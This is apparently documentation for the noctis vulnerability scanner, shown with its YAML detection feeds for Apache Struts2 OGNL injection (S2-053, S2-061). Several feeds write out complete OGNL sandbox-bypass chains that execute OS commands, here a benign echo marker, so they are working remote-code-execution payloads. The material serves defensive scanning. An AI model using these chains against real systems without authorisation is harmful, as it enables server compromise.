How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{s2053_url}}%25%7B%28{{og.a}}%2A{{og.b}}%29%7D%0A HTTP/1.0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{s2053_url}}%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_m…
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET {{s2053_url}}%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_m…
  5. Parses / computes the next value with a Rhai script
  6. Checks exec_resp.banner for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-053 Freemarker OGNL Injection Remote Code Execution (CVE-2017-12611)
  7. Checks exec_win_resp.banner for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-053 Freemarker OGNL Injection Remote Code Execution (CVE-2017-12611)
  8. Checks arith_resp.banner for [0-9]+ → finding QoD 75: Apache Struts2 OGNL Expression Evaluation of Request Input (S2-053, CVE-2017-12611)

References:

Feed source — tests/vulnerabilities/struts/CVE-2017-12611.yaml
# CVE-2017-12611 (Apache Struts2 S2-053) — OGNL injection through Freemarker
# tags that use an unintentional expression on a request parameter.
# Active detection ported from OpenVAS/Greenbone NASL
# 2017/apache/gb_struts_s2-053_active.nasl (GPL-2.0-only), with the Nuclei
# template http/cves/2017/CVE-2017-12611.yaml as an extra entry point.
#
# When a Freemarker view writes a tag attribute as an expression literal
# (e.g. <@s.hidden name="redirectUri" value="${redirectUri}"/>), Struts
# evaluates the already-interpolated request value as OGNL a second time.
# The NASL sends, in every crawled CGI parameter, the S2-045-era sandbox bypass
# (reset _memberAccess to DEFAULT_MEMBER_ACCESS, or clear OgnlUtil's excluded
# packages/classes) followed by java.lang.ProcessBuilder + IOUtils.toString, and
# greps the command output in the rendered page.
#
# Target URLs: the NASL only covers crawled CGIs, and only when "generic web
# application scanning" is switched on (off by default). noctis has no crawler,
# so the feed loops over the documented entry points: `/?name=` (Nuclei),
# `/index.action?name=`, and the `redirectUri` parameter of the public S2-053
# reproduction app (`/hello.action`, also tried on `/index.action`). It stops at
# the first URL that yields a finding.
#
# Two stages, both BENIGN (project rule: prove exploitation, never destroy):
#   1. ognl-arith (QoD 75): `%{(A*B)}` with random per-run operands. A
#      vulnerable view evaluates it and renders <A*B>; the feed recomputes the
#      product, so neither an echo of the request nor a constant can pass.
#   2. ognl-exec (QoD 97): the NASL's exact OGNL chain, with the command
#      replaced by ProcessBuilder({'echo','NOCTIS'+(C*D)}). The marker is built by
#      OGNL concatenation, so NOCTIS<C*D> never appears in the request: only a
#      real process execution renders it. Nothing is written on the target.
#      Beyond the NASL (Linux-only commands), the same chain is also sent with
#      {'cmd.exe','/c','echo NOCTIS'+(C*D)} for Windows hosts.
# Every payload ends with a URL-encoded newline (%0A): public S2-053
# reproductions need it for the expression to be evaluated, and it is harmless
# otherwise (the NASL and Nuclei omit it, and miss such targets).
#
# The payload is URL-encoded in the query string, which reqwest would
# re-normalise, so it is sent verbatim over tcp_connect (HTTP/1.0, TLS on https).
uid: 5a07553d-b5f3-4501-9056-1e68244f9f96
name: "Apache Struts2 S2-053 Freemarker OGNL Injection Remote Code Execution (CVE-2017-12611)"
description: |
  Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 are prone to
  remote code execution (S2-053, CVE-2017-12611) when a Freemarker tag uses an
  unintentional expression on request input: the submitted value is evaluated
  as OGNL. This check injects, into the `name` / `redirectUri` parameter of a few
  well-known Struts2 URLs, a benign OGNL arithmetic expression with random
  operands and verifies that the computed product is rendered; it then sends the
  S2-053 sandbox-bypass chain running the harmless command `echo NOCTIS<n>`
  (and `cmd.exe /c echo NOCTIS<n>` for Windows hosts) through
  java.lang.ProcessBuilder, where <n> is computed by OGNL. A rendered
  NOCTIS<n> confirms unauthenticated remote code execution.
cves: [CVE-2017-12611]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - ognl
  - freemarker
  - s2-053
  - rce
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-12611"
  - "https://cwiki.apache.org/confluence/display/WW/S2-053"
  - "OpenVAS/Greenbone NASL 2017/apache/gb_struts_s2-053_active.nasl (GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12611.yaml"

steps:
  # ── Random operands: A*B for the arithmetic probe, C*D for the exec marker ─
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      let c = rand_int(1013, 9973);
      let d = rand_int(1013, 9973);
      #{ a: a, b: b, product: "" + (a * b), c: c, d: d, marker: "NOCTIS" + (c * d) }
    store_as: og

  # ── Pre-initialise the stored results: a failed connection leaves store_as
  # unset, and the verify script would then abort the whole test.
  #
  # Every step from here on runs once per candidate URL (loop group). Each item
  # is a URL prefix ending with the injected parameter name and `=`.
  - id: init-arith-resp
    action: set_var
    var_name: arith_resp
    var_value: {connected: false, banner: null}
    loop:
      over:
        - "/?name="
        - "/index.action?name="
        - "/hello.action?redirectUri="
        - "/index.action?redirectUri="
      var: s2053_url

  - id: init-exec-resp
    action: set_var
    var_name: exec_resp
    var_value: {connected: false, banner: null}

  - id: init-exec-win-resp
    action: set_var
    var_name: exec_win_resp
    var_value: {connected: false, banner: null}

  # ── Stage 1: benign OGNL arithmetic %{(A*B)}\n ─────────────────────────────
  - id: ognl-arith
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{s2053_url}}%25%7B%28{{og.a}}%2A{{og.b}}%29%7D%0A HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nAccept: */*\r\n\r\n"
    timeout_secs: 10
    store_as: arith_resp

  # ── Stage 2: NASL sandbox bypass + ProcessBuilder({'echo','NOCTIS'+(C*D)}) ──
  - id: ognl-exec
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{s2053_url}}%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27echo%27%2C%27NOCTIS%27%2B%28{{og.c}}%2A{{og.d}}%29%7D%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nAccept: */*\r\n\r\n"
    timeout_secs: 10
    store_as: exec_resp

  # ── Stage 2b (beyond the NASL): same chain via cmd.exe for Windows hosts ──
  # `echo` is a cmd.exe builtin, so ProcessBuilder("echo", …) fails on Windows.
  - id: ognl-exec-win
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{s2053_url}}%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27cmd.exe%27%2C%27%2Fc%27%2C%27echo%20NOCTIS%27%2B%28{{og.c}}%2A{{og.d}}%29%7D%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nAccept: */*\r\n\r\n"
    timeout_secs: 10
    store_as: exec_win_resp

  # ── Verify the rendered values against OUR computed values ────────────────
  # The product / marker must stand alone (not followed by another digit), and
  # a failed connection keeps the pre-initialised null banner, so it is false.
  - id: verify
    action: script
    code: |
      let arith = false;
      let exec = false;
      let exec_win = false;
      if type_of(arith_resp.banner) == "string" {
        arith = egrep("(^|[^0-9])" + og.product + "([^0-9]|$)", arith_resp.banner) != "";
      }
      if type_of(exec_resp.banner) == "string" {
        exec = egrep(og.marker + "([^0-9]|$)", exec_resp.banner) != "";
      }
      if type_of(exec_win_resp.banner) == "string" {
        exec_win = egrep(og.marker + "([^0-9]|$)", exec_win_resp.banner) != "";
      }
      #{ arith: arith, exec: exec, exec_win: exec_win }
    store_as: s2053

  # ── Report: command execution confirmed (QoD 97) ─────────────────────────
  - id: report-exec
    action: match
    source: exec_resp.banner
    pattern: "NOCTIS[0-9]+"
    condition: "s2053.exec"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-053 Freemarker OGNL Injection Remote Code Execution (CVE-2017-12611)"
        description: >
          The request parameter in {{s2053_url}}… was evaluated as OGNL by a
          Freemarker tag (S2-053): the sandbox-bypass chain reset the member
          access and ran the benign command `echo NOCTIS<n>` through
          java.lang.ProcessBuilder, and its output (with <n> computed by OGNL)
          was rendered in the page. This confirms unauthenticated remote code
          execution.
        evidence: "RCE confirmed — ProcessBuilder ran echo 'NOCTIS'+({{og.c}}*{{og.d}}); its output {{og.marker}} was rendered by GET {{s2053_url}}<OGNL>"
      stop: true

  # ── Report: command execution confirmed (QoD 97), Windows ────────────────
  - id: report-exec-win
    action: match
    source: exec_win_resp.banner
    pattern: "NOCTIS[0-9]+"
    condition: "s2053.exec_win"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-053 Freemarker OGNL Injection Remote Code Execution (CVE-2017-12611)"
        description: >
          The request parameter in {{s2053_url}}… was evaluated as OGNL by a
          Freemarker tag (S2-053): the sandbox-bypass chain reset the member
          access and ran the benign command `cmd.exe /c echo NOCTIS<n>` through
          java.lang.ProcessBuilder, and its output (with <n> computed by OGNL)
          was rendered in the page. This confirms unauthenticated remote code
          execution on a Windows host.
        evidence: "RCE confirmed — ProcessBuilder ran cmd.exe /c echo 'NOCTIS'+({{og.c}}*{{og.d}}); its output {{og.marker}} was rendered by GET {{s2053_url}}<OGNL>"
      stop: true

  # ── Report: OGNL evaluation only (QoD 75) ────────────────────────────────
  - id: report-arith
    action: match
    source: arith_resp.banner
    pattern: "[0-9]+"
    condition: "s2053.arith"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        title: "Apache Struts2 OGNL Expression Evaluation of Request Input (S2-053, CVE-2017-12611)"
        description: >
          The request parameter in {{s2053_url}}… was evaluated as OGNL: a
          benign arithmetic expression with random operands was rendered as its
          computed product. The S2-053 sandbox-bypass chain did not execute
          (blocked by a WAF, a SecurityManager, or a later Struts sandbox), so
          command execution is not confirmed. Any OGNL evaluation of request
          input remains a critical injection point.
        evidence: "OGNL evaluation — GET {{s2053_url}}%{({{og.a}}*{{og.b}})} rendered the computed product {{og.product}}"
      stop: true

Apache Struts2 S2-053 OGNL Expression Injection

CVECVE-2017-9791
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/struts/CVE-2017-9791.yaml

Apache Struts2 is prone to an OGNL expression injection vulnerability in the Struts 1 plugin (S2-053, CVE-2017-9791). A Struts 1 action that uses a Freemarker tag with attacker-controllable message/key attributes performs a forced OGNL evaluation on the input. This check sends a benign arithmetic OGNL expression %{(A*B)} with per-run random operands in the `name` field of the Struts1 integration Gangster example (/integration/saveGangster.action) and recomputes the product locally. A vulnerable (unpatched) instance evaluates the expression and reflects the computed product; a patched instance echoes the literal expression or rejects the request. No command execution or file access is performed — only benign arithmetic confirms the OGNL evaluation primitive.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: POST /integration/saveGangster.action HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks det.hit for ^true$ → finding QoD 75: Apache Struts2 S2-053 OGNL Expression Injection (CVE-2017-9791)

References:

Feed source — tests/vulnerabilities/struts/CVE-2017-9791.yaml
# CVE-2017-9791 (Apache Struts2 S2-053) — OGNL expression injection in the
# Struts 1 plugin's Struts1Action / Freemarker tag evaluation.
#
# S2-053 lets an unauthenticated attacker inject OGNL into a Struts 1 action's
# message/key attribute (e.g. the Struts1 integration Gangster example app at
# /integration/saveGangster.action). On a vulnerable instance the forced second
# evaluation executes the OGNL expression and reflects the result in the
# response.
#
# DETECTION (benign arithmetic differential, NOT exploitation):
# This feed proves the OGNL evaluation primitive without any code execution,
# file access or command injection. Per run it generates two random 4-digit
# operands A and B, sends the benign arithmetic OGNL expression %{(A*B)} inside
# the `name` form field, and then recomputes A*B itself. A vulnerable instance
# evaluates the expression server-side and reflects the integer product; a
# patched instance keeps the literal `%{(A*B)}` (or 404s), so the product never
# appears. Because the operands — and therefore the expected product — change on
# every run, a mock that merely echoes a hardcoded constant cannot satisfy the
# recomputed-product comparison, and the detection only fires on genuine
# server-side arithmetic evaluation (QoD 75, response analysis).
#
# The payload contains `$ { } ( ) * %`, which reqwest would re-encode, so it is
# sent verbatim over tcp_connect (HTTP/1.0) and matched against resp.banner.
uid: 2085dd3e-82ac-4c72-ab20-7f3ce5961b33
name: "Apache Struts2 S2-053 OGNL Expression Injection (CVE-2017-9791)"
description: |
  Apache Struts2 is prone to an OGNL expression injection vulnerability in the
  Struts 1 plugin (S2-053, CVE-2017-9791). A Struts 1 action that uses a
  Freemarker tag with attacker-controllable message/key attributes performs a
  forced OGNL evaluation on the input. This check sends a benign arithmetic OGNL
  expression %{(A*B)} with per-run random operands in the `name` field of the
  Struts1 integration Gangster example (/integration/saveGangster.action) and
  recomputes the product locally. A vulnerable (unpatched) instance evaluates the
  expression and reflects the computed product; a patched instance echoes the
  literal expression or rejects the request. No command execution or file access
  is performed — only benign arithmetic confirms the OGNL evaluation primitive.
cves: [CVE-2017-9791]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - struts1
  - ognl
  - rce
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-9791"
  - "https://cwiki.apache.org/confluence/display/WW/S2-053"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

steps:
  # ── Generate per-run random operands (changes the expected product each run) ─
  - id: gen-operands
    action: script
    store_as: rnd
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      #{
        a: a,
        b: b,
        product: "" + (a * b)
      }

  # ── Probe: POST the benign arithmetic OGNL expression %{(A*B)} verbatim ──────
  # tcp_connect sends the raw HTTP/1.0 request unchanged — reqwest would
  # percent-encode `$ { } ( ) * %` and break the expression. Body is exactly
  # 19 bytes ("name=%{(DDDD*DDDD)}") because both operands are always 4 digits.
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "POST /integration/saveGangster.action HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 19\r\n\r\nname=%{({{rnd.a}}*{{rnd.b}})}"
    timeout_secs: 10
    store_as: resp

  # ── Recompute A*B ourselves and test whether the reflected response contains
  # that exact product. A patched instance reflects the literal expression (no
  # product), and a mock echoing a fixed constant cannot match the per-run
  # product — so a hit means genuine server-side OGNL arithmetic evaluation.
  - id: evaluate
    action: script
    store_as: det
    condition: "resp.connected == true"
    code: |
      let banner = if type_of(resp.banner) == "string" { resp.banner } else { "" };
      #{
        product: rnd.product,
        hit: stridx(banner, rnd.product) >= 0
      }

  - id: detect
    action: match
    source: det.hit
    pattern: "^true$"
    condition: "resp.connected == true"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        title: "Apache Struts2 S2-053 OGNL Expression Injection (CVE-2017-9791)"
        description: >
          The Struts1 integration action at /integration/saveGangster.action
          evaluated a benign arithmetic OGNL expression %{(A*B)} injected via the
          `name` form field and reflected the computed product in its response.
          Server-side OGNL evaluation of attacker-controlled input confirms
          S2-053 (CVE-2017-9791) OGNL expression injection. Operands are randomised
          per run, so the reflected product cannot be a hardcoded constant.
        evidence: "OGNL evaluation confirmed — sent %{({{rnd.a}}*{{rnd.b}})}, server reflected the computed product {{det.product}}"
      stop: true

Apache Struts2 S2-061 Forced Double OGNL Evaluation Remote Code Execution

CVECVE-2020-17530
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2020-17530.yaml

Apache Struts2 2.0.0 through 2.5.25 is prone to remote code execution (S2-061, CVE-2020-17530): some tag attributes are evaluated twice when forced OGNL evaluation (%{...}) is applied to untrusted input. This check POSTs a multipart/form-data `id` field to a few well-known Struts2 URLs. It first injects a benign OGNL arithmetic expression with random operands and verifies that the computed product is rendered back; it then sends the S2-061 sandbox-bypass chain (InstanceManager + BeanMap clearing excludedClasses / excludedPackageNames) running the harmless command `echo NOCTIS<n>` (and `cmd /c echo NOCTIS<n>` for Windows hosts) through freemarker.template.utility.Execute, where <n> is computed by OGNL. A reflected NOCTIS<n> confirms unauthenticated remote code execution.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{s2061_path}} with a crafted body
  3. HTTP(S) request POST {{s2061_path}} with a crafted body
  4. HTTP(S) request POST {{s2061_path}} with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks exec_resp.body for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-061 Forced Double OGNL Evaluation Remote Code Execution (CVE-2020-17530)
  7. Checks exec_win_resp.body for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-061 Forced Double OGNL Evaluation Remote Code Execution (CVE-2020-17530)
  8. Checks arith_resp.body for id="[0-9]+" → finding QoD 75: Apache Struts2 Forced Double OGNL Evaluation (S2-061 / S2-062 family, CVE-2020-17530)

References:

Feed source — tests/vulnerabilities/struts/CVE-2020-17530.yaml
# CVE-2020-17530 (Apache Struts2 S2-061) — forced double OGNL evaluation RCE.
# Active detection ported from OpenVAS/Greenbone NASL
# 2021/apache/gb_struts_s2-061_active.nasl (GPL-2.0-only), with the Nuclei
# template http/cves/2020/CVE-2020-17530.yaml as the arithmetic first stage.
#
# Some Struts2 tag attributes (e.g. `id`) are evaluated twice when a developer
# applies forced OGNL evaluation (`%{...}`) to request input: the attacker's
# value is itself evaluated as OGNL. The NASL POSTs a multipart/form-data body
# whose `id` field carries an OGNL chain that obtains Tomcat's InstanceManager,
# wraps the ValueStack / context / memberAccess in commons-collections BeanMaps,
# empties excludedClasses / excludedPackageNames, then runs an OS command via
# freemarker.template.utility.Execute. The command output is rendered back in
# the tag's `id` attribute.
#
# Target URLs: the NASL POSTs to crawled *.action/*.do/*.jsp URLs (and
# /statsreport/ only once vCenter is detected). noctis has no crawler, so the
# feed loops over `/` (the Nuclei URL, root default action), `/index.action`,
# `/struts2-showcase/` (the S2-062 NASL's fallback app) and `/statsreport/`
# (vCenter-bundled Struts, tried unconditionally). It stops at the first URL
# that yields a finding.
#
# Two stages, both BENIGN (project rule: prove exploitation, never destroy):
#   1. ognl-arith (QoD 75): `id=%{(A*B)}` with random per-run operands. A
#      vulnerable instance evaluates the expression a second time and renders
#      id="<A*B>". The feed recomputes the product, so a hardcoded constant
#      cannot pass. Pure OGNL arithmetic, no execution.
#   2. ognl-exec (QoD 97): the NASL's exact OGNL chain, with the command
#      replaced by the harmless `echo NOCTIS<C*D>`. The marker is built by
#      OGNL string concatenation ("echo NOCTIS"+(C*D)), so the expected value
#      never appears literally in the request: a patched instance that just
#      echoes the submitted id back can never contain NOCTIS<C*D>. Only real
#      command execution produces it. Nothing is written on the target.
#      Beyond the NASL, the same chain is also sent with `cmd /c echo …`:
#      `echo` is a cmd.exe builtin, so the plain form never runs on Windows.
#
# The multipart body is sent verbatim by http_request (no URL-encoded path), so
# the payload reaches the target unmodified.
uid: db4bf713-e10c-4021-a748-77ab273c8cd9
name: "Apache Struts2 S2-061 Forced Double OGNL Evaluation Remote Code Execution (CVE-2020-17530)"
description: |
  Apache Struts2 2.0.0 through 2.5.25 is prone to remote code execution (S2-061,
  CVE-2020-17530): some tag attributes are evaluated twice when forced OGNL
  evaluation (%{...}) is applied to untrusted input. This check POSTs a
  multipart/form-data `id` field to a few well-known Struts2 URLs. It first injects a
  benign OGNL arithmetic expression with random operands and verifies that the
  computed product is rendered back; it then sends the S2-061 sandbox-bypass
  chain (InstanceManager + BeanMap clearing excludedClasses /
  excludedPackageNames) running the harmless command `echo NOCTIS<n>` (and `cmd /c echo NOCTIS<n>`
  for Windows hosts) through
  freemarker.template.utility.Execute, where <n> is computed by OGNL. A
  reflected NOCTIS<n> confirms unauthenticated remote code execution.
cves: [CVE-2020-17530]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - ognl
  - s2-061
  - rce
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-17530"
  - "https://cwiki.apache.org/confluence/display/WW/S2-061"
  - "OpenVAS/Greenbone NASL 2021/apache/gb_struts_s2-061_active.nasl (GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17530.yaml"

steps:
  # ── Random operands: A*B for the arithmetic probe, C*D for the exec marker ─
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      let c = rand_int(1013, 9973);
      let d = rand_int(1013, 9973);
      #{ a: a, b: b, product: a * b, c: c, d: d, marker: "NOCTIS" + (c * d) }
    store_as: og

  # ── Pre-initialise the stored results: a failed request (reset by a WAF,
  # timeout) leaves store_as unset, and the verify script would then abort the
  # whole test — losing the QoD-75 finding when only the exec probe was blocked.
  #
  # Every step from here on runs once per candidate URL (loop group). Beyond the
  # NASL (crawled URLs only): the root `/` (Nuclei), the root default action,
  # the Struts2 Showcase app (the S2-062 NASL's fallback base path) and the
  # vCenter /statsreport/ endpoint the NASL only tries once vCenter is detected.
  - id: init-arith-resp
    action: set_var
    var_name: arith_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["/", "/index.action", "/struts2-showcase/", "/statsreport/"]
      var: s2061_path

  - id: init-exec-resp
    action: set_var
    var_name: exec_resp
    var_value: {status: 0, body: null}

  - id: init-exec-win-resp
    action: set_var
    var_name: exec_win_resp
    var_value: {status: 0, body: null}

  # ── Stage 1: benign OGNL arithmetic in the multipart `id` field ──────────
  - id: ognl-arith
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{s2061_path}}"
    headers:
      Content-Type: "multipart/form-data; boundary=------------------------noctisS2061"
    body: "--------------------------noctisS2061\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{({{og.a}}*{{og.b}})}\r\n--------------------------noctisS2061--\r\n"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: arith_resp

  # ── Stage 2: S2-061 sandbox bypass + Execute running `echo NOCTIS<C*D>` ──
  # The NASL's exact OGNL chain; only the command differs (benign echo whose
  # argument is computed by OGNL string concatenation).
  - id: ognl-exec
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{s2061_path}}"
    headers:
      Content-Type: "multipart/form-data; boundary=------------------------noctisS2061"
    body: "--------------------------noctisS2061\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{(#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]).(#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(#bean.setBean(#stack)).(#context=#bean.get(\"context\")).(#bean.setBean(#context)).(#macc=#bean.get(\"memberAccess\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")).(#bean.put(\"excludedClasses\",#emptyset)).(#bean.put(\"excludedPackageNames\",#emptyset)).(#arglist=#instancemanager.newInstance(\"java.util.ArrayList\")).(#arglist.add(\"echo NOCTIS\"+({{og.c}}*{{og.d}}))).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(#execute.exec(#arglist))}\r\n--------------------------noctisS2061--\r\n"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: exec_resp

  # ── Stage 2b (beyond the NASL's single command): same chain for Windows ─
  # `echo` is a cmd.exe builtin, not an executable, so Runtime.exec("echo …")
  # fails on a Windows Struts host; `cmd /c echo NOCTIS<C*D>` covers it.
  - id: ognl-exec-win
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{s2061_path}}"
    headers:
      Content-Type: "multipart/form-data; boundary=------------------------noctisS2061"
    body: "--------------------------noctisS2061\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{(#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]).(#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(#bean.setBean(#stack)).(#context=#bean.get(\"context\")).(#bean.setBean(#context)).(#macc=#bean.get(\"memberAccess\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")).(#bean.put(\"excludedClasses\",#emptyset)).(#bean.put(\"excludedPackageNames\",#emptyset)).(#arglist=#instancemanager.newInstance(\"java.util.ArrayList\")).(#arglist.add(\"cmd /c echo NOCTIS\"+({{og.c}}*{{og.d}}))).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(#execute.exec(#arglist))}\r\n--------------------------noctisS2061--\r\n"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: exec_win_resp

  # ── Verify both reflections against OUR computed values ──────────────────
  # A failed request keeps the pre-initialised null body, so its check is false.
  - id: verify
    action: script
    code: |
      let arith = false;
      let exec = false;
      if type_of(arith_resp.body) == "string" {
        let m = eregmatch("id=\"([0-9]+)\"", arith_resp.body);
        if m.len() >= 2 && int(m[1]) == og.product {
          arith = true;
        }
      }
      if type_of(exec_resp.body) == "string" {
        let m = eregmatch("id=\"(NOCTIS[0-9]+)", exec_resp.body);
        if m.len() >= 2 && m[1] == og.marker {
          exec = true;
        }
      }
      let exec_win = false;
      if type_of(exec_win_resp.body) == "string" {
        let m = eregmatch("id=\"(NOCTIS[0-9]+)", exec_win_resp.body);
        if m.len() >= 2 && m[1] == og.marker {
          exec_win = true;
        }
      }
      #{ arith: arith, exec: exec, exec_win: exec_win }
    store_as: s2061

  # ── Report: command execution confirmed (QoD 97) ─────────────────────────
  - id: report-exec
    action: match
    source: exec_resp.body
    pattern: "NOCTIS[0-9]+"
    condition: "s2061.exec"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-061 Forced Double OGNL Evaluation Remote Code Execution (CVE-2020-17530)"
        description: >
          {{s2061_path}} evaluated an S2-061 OGNL payload injected via the
          multipart `id` form field: the sandbox-bypass chain cleared
          excludedClasses / excludedPackageNames and executed the benign command
          `echo NOCTIS<n>` through freemarker.template.utility.Execute, whose
          output (with <n> computed by OGNL) was rendered back in the id
          attribute. This confirms unauthenticated remote code execution.
        evidence: "RCE confirmed — Execute ran echo NOCTIS+({{og.c}}*{{og.d}}); its output {{og.marker}} was reflected in the id attribute of POST {{s2061_path}} (HTTP {{exec_resp.status}})"
      stop: true

  # ── Report: command execution confirmed (QoD 97), Windows ────────────────
  - id: report-exec-win
    action: match
    source: exec_win_resp.body
    pattern: "NOCTIS[0-9]+"
    condition: "s2061.exec_win"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-061 Forced Double OGNL Evaluation Remote Code Execution (CVE-2020-17530)"
        description: >
          {{s2061_path}} evaluated an S2-061 OGNL payload injected via the
          multipart `id` form field: the sandbox-bypass chain cleared
          excludedClasses / excludedPackageNames and executed the benign command
          `cmd /c echo NOCTIS<n>` through freemarker.template.utility.Execute, whose
          output (with <n> computed by OGNL) was rendered back in the id
          attribute. This confirms unauthenticated remote code execution.
        evidence: "RCE confirmed — Execute ran cmd /c echo NOCTIS+({{og.c}}*{{og.d}}); its output {{og.marker}} was reflected in the id attribute of POST {{s2061_path}} (HTTP {{exec_win_resp.status}})"
      stop: true

  # ── Report: OGNL double evaluation only (QoD 75) ─────────────────────────
  - id: report-arith
    action: match
    source: arith_resp.body
    pattern: "id=\"[0-9]+\""
    condition: "s2061.arith"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        title: "Apache Struts2 Forced Double OGNL Evaluation (S2-061 / S2-062 family, CVE-2020-17530)"
        description: >
          {{s2061_path}} evaluated a benign OGNL arithmetic expression
          injected via the multipart `id` form field a second time and rendered
          the computed product, proving forced double OGNL evaluation. The S2-061
          sandbox-bypass chain did not execute (patched to 2.5.26+, blocked by a
          WAF, or commons-collections/freemarker missing). Struts 2.5.26-2.5.29
